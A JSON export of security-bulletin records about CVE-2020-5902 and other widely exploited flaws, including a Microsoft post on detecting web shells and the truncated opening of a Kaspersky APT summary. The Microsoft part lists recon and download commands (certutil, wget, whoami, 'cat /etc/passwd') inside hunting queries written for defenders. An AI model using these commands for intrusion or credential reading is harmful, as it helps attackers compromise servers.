BIG-IP remote code execution vulnerability\n * [**CVE-2020-15505**](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) (CVSS score: 9.8) - MobileIron Core &amp; Connector remote code execution vulnerability\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability\n * [**CVE-2019-3396**](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability\n * [**CVE-2017-11882**](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>) (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability\n * [**CVE-2019-11580**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal remote code execution vulnerability\n * [**CVE-2019-18935**](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution\n * [**CVE-2019-0604**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0604>) (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability\n * [**CVE-2020-0787**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>) (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability\n * [**CVE-2020-1472**](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) (CVSS score: 10.0) - Windows [Netlogon elevation of privilege](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) vulnerability\n\nThe list of vulnerabilities that have come under active attack thus far in 2021 are listed below -\n\n * [Microsoft Exchange Server](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>): [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>), [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>) (aka \"ProxyLogon\")\n * [Pulse Secure](<https://thehackernews.com/2021/05/new-high-severity-vulnerability.html>): [CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>), [CVE-2021-22894](<https://nvd.nist.gov/vuln/detail/CVE-2021-22894>), [CVE-2021-22899](<https://nvd.nist.gov/vuln/detail/CVE-2021-22899>), and [CVE-2021-22900](<https://nvd.nist.gov/vuln/detail/CVE-2021-22900>)\n * [Accellion](<https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html>): [CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>), [CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>), [CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>), and [CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n * [VMware](<https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html>): [CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n * Fortinet: [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>)\n\nThe development also comes a week after MITRE [published](<https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html>) a list of top 25 \"most dangerous\" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.\n\n\"The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,\" NCSC Director for Operations, Paul Chichester, [said](<https://www.ncsc.gov.uk/news/global-cyber-vulnerabilities-advice>), urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-29T08:21:00", "type": "thn", "title": "Top 30 Critical Security Vulnerabilities Most Exploited by Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-04T09:03:14", "id": "THN:B95DC27A89565323F0F8E6350D24D801", "href": "https://thehackernews.com/2021/07/top-30-critical-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mmpc": [{"lastseen": "2021-02-11T17:27:09", "description": "One year ago, we reported the steady increase in the use of web shells in attacks worldwide. The latest Microsoft 365 Defender data shows that this trend not only continued, it accelerated: every month from August 2020 to January 2021, we registered an average of 140,000 encounters of these threats on servers, almost double the 77,000 monthly average we [saw last year](<https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/>).\n\n\n\n_Figure 1. Web shell encounters on servers_\n\nThe escalating prevalence of web shells may be attributed to how simple and effective they can be for attackers. A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. Web shells allow attackers to run commands on servers to steal data or use the server as launch pad for other activities like credential theft, lateral movement, deployment of additional payloads, or hands-on-keyboard activity, while allowing attackers to persist in an affected organization.\n\nAs web shells are increasingly more common in attacks, both commodity and targeted, we continue to monitor and investigate this trend to ensure customers are protected. In this blog, we will discuss challenges in detecting web shells, and the Microsoft technologies and investigation tools available today that organizations can use to defend against these threats. We will also share guidance for hardening networks against web shell attacks.\n\n## Web shells as entry point for attacks\n\nAttackers install web shells on servers by taking advantage of security gaps, typically vulnerabilities in web applications, in internet-facing servers. These attackers scan the internet, often using public scanning interfaces like [shodan.io](<https://www.shodan.io/>), to locate servers to target. They may use previously fixed vulnerabilities that unfortunately remain unpatched in many servers, but they are also known to quickly take advantage of newly disclosed vulnerabilities.\n\nFor example, on June 30, F5 Networks released a patch for CVE-2020-5902, a remote code execution (RCE) vulnerability in Traffic Management User Interface (TMUI). The vulnerability is a [directory traversal bug](<https://owasp.org/www-community/attacks/Path_Traversal>) with a CVSS score of 9.8 out of a possible 10. Just four days later, on July 4, exploit code was added to a Metasploit module.\n\n\n\n_Figure 2. CVE-2020-5902 __exploit code _\n\nThe following day, Microsoft researchers started seeing the exploit being used by attackers to upload a web shell to vulnerable servers. The web shell was used to run common cryptocurrency miners. In the days that followed, industry security researchers saw the exploit being broadly used to deploy web shells, with multiple variants surfacing not long after.\n\nThis incident demonstrates the importance of keeping servers up to date and hardened against web shell attacks. Web servers are frequently accessible from the internet and can be used by attackers to gain access to a network.\n\n## Web shells as persistence mechanisms\n\nOnce installed on a server, web shells serve as one of the most effective means of persistence in an enterprise. We frequently see cases where web shells are used solely as a persistence mechanism. Web shells guarantee that a backdoor exists in a compromised network, because an attacker leaves a malicious implant after establishing an initial foothold on a server. If left undetected, web shells provide a way for attackers to continue to gather data from and monetize the networks that they have access to.\n\nCompromise recovery cannot be successful and enduring without locating and removing attacker persistence mechanisms. And while rebuilding a single compromised system is a great solution, restoring existing assets is the only feasible option for many. So, finding and removing all backdoors is a critical aspect of compromise recovery.\n\nAnd this brings us back to the challenge of web shell detection. As we mentioned earlier, web shells can be generalized as a means of executing arbitrary attacker input by way of an implant. The first challenge is dealing with just how many ways an attacker can execute code. Web applications support a great array of languages and frameworks and, thus, provide a high degree of flexibility and compatibility that attackers take advantage of.\n\nIn addition, the volume of network traffic plus the usual noise of constant internet attacks means that targeted traffic aimed at a web server can blend right in, making detection of web shells a lot harder and requiring advanced behavior-based detections that can identify and stop malicious activities that hide in plain sight.\n\n## Challenges in detecting web shells\n\nWeb shells can be built using any of several languages that are popular with web applications. Within each language, there are several means of executing arbitrary commands and there are multiple means for arbitrary attacker input. Attackers can also hide instructions in the user agent string or any of the parameters that get passed during a web server/client exchange.\n\nAttackers combine all these options into just a couple of bytes to produce a web shell, for example:\n\n\n\n_Figure 3. Example of web shell code_\n\nIn the example above, the only readable word in the web shell is \u201ceval\u201d, which can be easy to miss or misinterpret. When analyzing script, it is important to leverage contextual clues. For example, a scheduled task called \u201cUpdate Google\u201d that downloads and runs code from a suspicious website should be inspected more closely.\n\nWith web shells, analyzing context can be a challenge because the context is not clear until the shell is used. In the following code, the most useful clues are \u201csystem\u201d and \u201ccat /etc/passwd\u201d, but they do not appear until the attacker interacts with the web shell:\n\n\n\n_Figure 4. Another example of web shell code_\n\nAnother challenge in detecting web shells is uncovering intent. A harmless-seeming script can be malicious depending on intent. But when attackers can upload arbitrary input files in the web directory, then they can upload a full-featured web shell that allows arbitrary code execution\u2014which some very simple web shells do.\n\nThese file-upload web shells are simple, lightweight, and easily overlooked because they cannot execute attacker commands on their own. Instead, they can only upload files, such as full-featured web shells, onto web servers. Because of their simplicity, they are difficult to detect and can be dismissed as benign, and so they are often used by attackers for persistence or for early stages of exploitation.\n\nFinally, attackers are known to hide web shells in non-executable file formats, such as media files. Web servers configured to execute server-side code create additional challenges for detecting web shells, because on a web server, a media file is scanned for server-side execution instructions. Attackers can hide web shell scripts within a photo and upload it to a web server. When this file is loaded and analyzed on a workstation, the photo is harmless. But when a web browser asks a server for this file, malicious code executes server side.\n\nThese challenges in detecting web shells contribute to their increasing popularity as an attack tool. We constantly monitor how these evasive threats are utilized in cyberattacks, and we continue to improve protections. In the next section, we discuss how behavior-based detection technologies help us protect customers from web shell attacks.\n\n## How Microsoft helps defend networks against web shell attacks\n\nGaining visibility into internet-facing servers is key to detecting and addressing the threat of web shells. To tackle challenges in detecting these threats, [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>) uses a combination of durable protections that prevent web shell installation and behavior-based detections that identify related malicious activity. Microsoft Defender for Endpoint exposes malicious behavior by analyzing script file writes and process executions. Due to the nature of web shells, static analysis is not effective\u2014as we have shown, it is relatively easy to modify web shells and bypass static protections. To effectively deliver protection, Microsoft Defender for Endpoint uses multiple layers of protection through behavior inspection.\n\n[Behavior-based blocking and containment capabilities](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/behavioral-blocking-containment>), which use engines that specialize in detecting threats by analyzing behavior, monitor web-accessible directories for any new script file creation. While file creation events alone cannot be treated as suspicious, correlating such events with the responsible process tree can yield more reliable signals and surface malicious attempts. The engine can then remediate the script, neutralizing the primary infection vector. For example, IIS instance (_w3wp.exe_) running suspicious processes such as \u2018_cmd.exe /c echo\u2019_, \u2018_certutil.exe\u2019_, or \u2018_powershell.exe\u2019_ that result in the creation of script files in web -accessible folders is a rare event and is, thus, typically a strong sign of web server compromise and web shell installation.\n\n\n\n\n\nMicrosoft Defender for Endpoint also detects web shell installation attempts originating from remote systems within the organization using various lateral movement methods. For example, attackers have been observed to drop web shells through Windows Remote Management (WinRM) or use existing Windows commands to transfer web shells over SMB. On the web server, these remote actions are carried by system processes, thus giving visibility into the process tree. System privilege process dropping script files is another suspicious event and provides the behavior inspection engines ways to remediate the script before the attackers can perform any malicious actions.\n\n\n\n\n\nBehavior-based protection also provides post-compromise defense in scenarios where attackers are already operating and running commands on web servers. Once attackers gain access to a server, one of their first steps is to understand the privilege and the environment they have access to by using built-in reconnaissance commands that are not typically used by web applications. IIS instance (_w3wp.exe_) running commands like _\u2018net\u2019_, _\u2018whoami\u2019_, _\u2018dir\u2019_, _\u2018cmd.exe\u2019_, or _\u2018query\u2019_, to name a few, is typically a strong early indicator of web shell activity.\n\nIIS servers have built-in management tools used by administrators to perform various maintenance tasks. These platforms surface various PowerShell cmdlets that can expose critical information to the attackers. IIS instances (_w3wp.exe_) that host various web-facing client services such as Outlook on the web (formerly known as Outlook Web App or OWA) or Exchange admin center (EAC; formerly known as the Exchange Control Panel or ECP) accessing the management platform or executing below cmdlets is a suspicious activity and signifies a hands-on-keyboard attack. The behavior engine monitors execution of such cmdlets and the responsible process trees, for example:\n\n\n\nWith its behavior-based blocking and containment capabilities, Microsoft Defender for Endpoint can identify and stop behavior associated with web shell attacks. It raises alerts for these detections, enabling security operations teams to use the rich investigation tools in Microsoft Defender for Endpoint to perform additional investigation and hunting for related or similar threats.\n\n\n\n\n\n_Figure 5. Microsoft Defender for Endpoint alerts for behaviors related to web shell attacks_\n\nMicrosoft 365 Defender and Microsoft Defender for Endpoint customers can also run advanced hunting queries to proactively hunt for web shell attacks:\n\nLook for suspicious process that IIS worker process (w3wp.exe), Apache HTTP server processes (_httpd.exe_, _visualsvnserver.exe_), etc. do not typically initiate (e.g., _cmd.exe_ and _powershell.exe_)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_any(\"beasvc.exe\",\"coldfusion.exe\",\"httpd.exe\",\"owstimer.exe\",\"visualsvnserver.exe\",\"w3wp.exe\") or InitiatingProcessCommandLine contains 'tomcat'\n | where FileName != \"csc.exe\" // exclude csharp compiler\n | where FileName != \"php-cgi.exe\" //exclude php group, fast cgi\n | where FileName != \"vbc.exe\" //exclude Visual Basic Command Line Compiler\n | summarize by FileName\n\nLook for suspicious web shell execution, this can identify processes that are associated with remote execution and reconnaissance activity (example: &quot;arp&quot;, &quot;certutil&quot;, &quot;cmd&quot;, &quot;echo&quot;, &quot;ipconfig&quot;, &quot;gpresult&quot;, &quot;hostname&quot;, &quot;net&quot;, &quot;netstat&quot;, &quot;nltest&quot;, &quot;nslookup&quot;, &quot;ping&quot;, &quot;powershell&quot;, &quot;psexec&quot;, &quot;qwinsta&quot;, &quot;route&quot;, &quot;systeminfo&quot;, &quot;tasklist&quot;, &quot;wget&quot;, &quot;whoami&quot;, &quot;wmic&quot;, etc.)\n \n \n DeviceProcessEvents\n | where InitiatingProcessParentFileName in~(\"beasvc.exe\",\"coldfusion.exe\",\"httpd.exe\",\"owstimer.exe\",\"visualsvnserver.exe\",\"w3wp.exe\") or InitiatingProcessParentFileName startswith \"tomcat\"\n | where InitiatingProcessFileName in~(\"powershell.exe\",\"powershell_ise.exe\",\"cmd.exe\")\n | where FileName != 'conhost.exe'\n\n## Hardening servers against web shells\n\nA single web shell allowing attackers to remotely run commands on a server can have far-reaching consequences. With script-based malware, however, everything eventually funnels to a few natural chokepoints, such as _cmd.exe_, _powershell.exe_, and _cscript.exe_. As with most attack vectors, prevention is critical.\n\nOrganizations can harden systems against web shell attacks by taking these preventive steps:\n\n * Identify and remediate vulnerabilities or misconfigurations in web applications and web servers. Use Threat and Vulnerability Management to discover and fix these weaknesses. Deploy the latest security updates as soon as they become available.\n * Implement proper segmentation of your perimeter network, such that a compromised web server does not lead to the compromise of the enterprise network.\n * Enable antivirus protection on web servers. [Turn on cloud-delivered protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/enable-cloud-protection-windows-defender-antivirus>) to get the latest defenses against new and emerging threats. Users should only be able to upload files in directories that can be scanned by antivirus and configured to not allow server-side scripting or execution.\n * Audit and review logs from web servers frequently. Be aware of all systems you expose directly to the internet.\n * Utilize the Windows Defender Firewall, intrusion prevention devices, and your network firewall to prevent command-and-control server communication among endpoints whenever possible, limiting lateral movement, as well as other attack activities.\n * Check your perimeter firewall and proxy to restrict unnecessary access to services, including access to services through non-standard ports.\n * Practice good credential hygiene. Limit the use of accounts with local or domain admin level privileges.\n\nWeb shells and the attacks that they enable are a multi-faceted threat that require comprehensive visibility across domains and platforms. [Microsoft 365 Defender](<https://aka.ms/m365d>) correlates threat data from endpoints, email and data, identities, and apps to coordinate cross-domain protection. [Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>).\n\n \n\n_Detection and Response Team (DART)_\n\n_Microsoft Defender Security Research Team_\n\n \n\nThe post [Web shell attacks continue to rise](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-11T17:00:05", "type": "mmpc", "title": "Web shell attacks continue to rise", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-02-11T17:00:05", "id": "MMPC:9AAC6D759E6AD62F92B56B228C39C263", "href": "https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-07-13T16:58:49", "description": "In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-01T15:15:00", "type": "cve", "title": "CVE-2020-5902", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-07-12T17:42:00", "cpe": ["cpe:/a:f5:big-ip_access_policy_manager:15.0.1.4"], "id": "CVE-2020-5902", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-5902", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:f5:big-ip_access_policy_manager:15.0.1.4:*:*:*:*:*:*:*"]}], "impervablog": [{"lastseen": "2021-02-24T14:27:01", "description": "Imperva\u2019s report, [**The State of Vulnerabilities in 2020**](<https://www.imperva.com/resources/resource-library/reports/the-state-of-vulnerabilities-in-2020/>) has revealed that unlike in previous years, researchers observed a fall in the number of vulnerabilities last year, even as businesses were compelled to accelerate digital transformation processes due to the COVID-19 pandemic. Vulnerabilities are defined as the gaps or weaknesses that undermine an organization\u2019s IT security efforts, such as a firewall flaw that enables hackers into a network.\n\nThe overall number of new vulnerabilities in 2020 (23,006) was down by 2.04% compared to 2019 (23,485) and by 0.86% compared to 2018 (23,207).\n\nAccording to the report, the dominant root cause of vulnerabilities was [cross-site scripting](<https://www.imperva.com/learn/application-security/cross-site-scripting-xss-attacks/>) (XSS) with injection as the second-most dominant root cause. Drilling down into the report data, the researchers note that a large percentage of this appeared to be related to [SQL injection](<https://www.imperva.com/learn/application-security/sql-injection-sqli/>). While XSS was the dominant root cause of vulnerabilities, most of the attacks in 2020 were related to injection vulnerabilities rather than XSS. Only 15.68% of the attacks that Imperva registered were related to XSS. On the contrary, the injection vulnerability category appeared to be the attackers\u2019 \u201cfavorite\u201d with 44.75% of all attacks. After injection vulnerability, path traversal and local file include (LFI) attacks were the attackers\u2019 second \u201cfavorite\u201d with 24.83%.\n\nSocial media, in fact, echoed this finding with 75% of the top 20 most viral tweets being related to the leading attack category, injection and remote code execution. Researchers observed a high correlation between the chatter in social media and actual attacks. Analyzing tweets from Twitter, the two most trending vulnerabilities on social media belonged to CVE-2020-5902 and CVE-2020-3452 which were also the top vulnerabilities used by hackers in 2020.\n\nImperva researchers continued to see a constant growth of vulnerabilities in APIs (Application Programming Interfaces) in 2020, with WordPress the most popular platform in the content management system category. In the server side technologies category, the report indicates an increase in the number of vulnerabilities in applications or packages written in JavaScript for NodeJS.\n\nThe report also shows MySQL to be ahead of all other popular databases in terms of new vulnerabilities discovered in 2020, although 92.4% of these had an unknown exploit. This is likely because Oracle acquired MySQL and doesn\u2019t usually share technical details in its security reports. Additional analysis of bug bounty vulnerabilities revealed that almost 40% of them were ranked as Critical.\n\n### Vulnerabilities and cyber security attacks forecast for 2021\n\nGiven the degree to which APIs have become a necessary element for applications, Imperva researchers expect to see constant growth in the number of API vulnerabilities, although the rate of this growth is likely to decrease in 2021. The release of the OWASP API Security - Top 10 which standardizes the main threats in APIs will increase the awareness of security among developers and play a role in decreasing vulnerabilities.\n\nOld faithful injection and XSS vulnerabilities will remain a serious concern, despite greater awareness and the number of tools that check code for their presence. The reason for this is the direct impact of the exploitation of these vulnerabilities, as well as - in most cases - the lack of preconditions required to exploit them. Injection vulnerabilities may also lead to [supply chain attacks](<https://www.imperva.com/learn/application-security/supply-chain-attack/>) resulting in [PII](<https://www.imperva.com/learn/data-security/personally-identifiable-information-pii/>) data theft.\n\nThe number of vulnerabilities in third-parties will continue to grow, as major platforms and frameworks become more reliant on third-party plugins. These vulnerabilities may be the gateway to various supply chain attacks. WordPress has over 58,000 plugins, the NPM registry has almost 1.5 million packages for NodeJS, and PyPI has over 280,000 packages for Python. In addition, there are also main package registries for Java and Ruby-based projects. As the community continues to grow, and without code standards or restrictions to publish a plugin or a package, they remain the weakest point in an application, making them the sweet spot for attackers.\n\nDownload the full report [here](<https://www.imperva.com/resources/resource-library/reports/the-state-of-vulnerabilities-in-2020/>).\n\n### Protect your apps from attack with a Web Application Firewall (WAF)\n\nOne of the best solutions for protecting against web application database vulnerabilities is to deploy a [Web Application Firewall](<https://www.imperva.com/products/web-application-firewall-waf/>) (WAF) and Data Monitoring &amp; Protection. The solution may be either on-premise, in the cloud, or a combination of both depending on your needs, infrastructure, and more. Start a [free trial](<https://www.imperva.com/free-trial/>) today.\n\nThe post [Despite COVID-19 pandemic, Imperva reports number of vulnerabilities decreased in 2020](<https://www.imperva.com/blog/despite-covid-19-pandemic-imperva-reports-number-of-vulnerabilities-decreased-in-2020/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-22T19:42:10", "type": "impervablog", "title": "Despite COVID-19 pandemic, Imperva reports number of vulnerabilities decreased in 2020", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3452", "CVE-2020-5902"], "modified": "2021-02-22T19:42:10", "id": "IMPERVABLOG:6F67E97EF55C748CBFEE482E85D4751A", "href": "https://www.imperva.com/blog/despite-covid-19-pandemic-imperva-reports-number-of-vulnerabilities-decreased-in-2020/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2021-11-22T14:36:35", "description": "\n\nFor more than four years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.\n\nThis is our latest installment, focusing on activities that we observed during Q3 2021.\n\nReaders who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact [intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>).\n\n## The most remarkable findings\n\nThe SolarWinds incident reported last December stood out because of the extreme carefulness of the attackers and the high-profile nature of their victims. The evidence suggests that the threat actor behind the attack, DarkHalo (aka Nobelium), had spent six months inside OrionIT&#x27;s networks to perfect their attack. In June, more than six months after DarkHalo had gone dark, we observed the DNS hijacking of multiple government zones of a CIS member state that allowed the attacker to redirect traffic from government mail servers to computers under their control \u2013 probably achieved by obtaining credentials to the control panel of the victims&#x27; registrar. When victims tried to access their corporate mail, they were redirected to a fake copy of the web interface. Following this, they were tricked into downloading previously unknown malware. The backdoor, dubbed Tomiris, bears a number of similarities to the second-stage malware, Sunshuttle (aka GoldMax), used by DarkHalo last year. However, there are also a number of overlaps between Tomiris and Kazuar, a backdoor that has been linked to the Turla APT threat actor. None of the similarities is enough to link Tomiris and Sunshuttle with high confidence. However, taken together they suggest the possibility of common authorship or shared development practices. You can read more about our findings [here](<https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/>).\n\n_Disclaimer: when referring to APT groups as Russian-speaking, Chinese-speaking or &quot;speaking&quot; other languages, we refer to various artefacts used by the groups (such as malware debugging strings, comments found in scripts, etc.) containing words in these languages, based on the information we obtained directly or which was otherwise publicly known and reported widely. The use of certain languages does not necessarily indicate a specific geographic relation but rather points to the languages that the developers behind these APT artefacts use._\n\n## Russian-speaking activity\n\nThis quarter we identified several malicious infection documents, droppers and implants that are typical of Gamaredon; and which may suggest an ongoing malicious campaign against the Ukrainian government, possibly active since May. We could not precisely identify the associated infection chains, as we could only retrieve parts of them from any live exploitation context. However, we were able to attribute the activity with medium to high confidence to Gamaredon. Our private report gave details about the various droppers along with decoder scripts, as well as analysis of the DStealer backdoor and the large infrastructure we observed associated with the campaign.\n\nReconHellcat is a little-known threat actor that was spotted publicly in 2020. The first accounts of its activity date back to March last year, in which archives carrying COVID-related decoy file names that contained a malicious executable were described in a tweet by MalwareHunterTeam. The malicious implant within the archive, dubbed BlackWater, would in turn drop and open a lure document and subsequently contact Cloudflare Workers as C2 servers \u2013 an unusual choice that is not often encountered in use by other actors. Since the first sightings of this intrusion set, similar TTPs have been used as part of other attacks that were covered by QuoIntelligence, suggesting the underlying actor is operating in a targeted fashion while going after high-profile government-related targets. This activity seems to have continued and stretched into 2021, when we spotted a set of recent attacks using the same techniques and malware to gain a foothold in diplomatic organizations based in Central Asia. In our private report we described this activity, with an eye to the various changes the actor made to elements in the infection chain, likely as a result of previous public exposure of its activity.\n\nSince then, we have identified additional documents operated by ReconHellcat; and a new campaign emerged from August through to September with an evolved 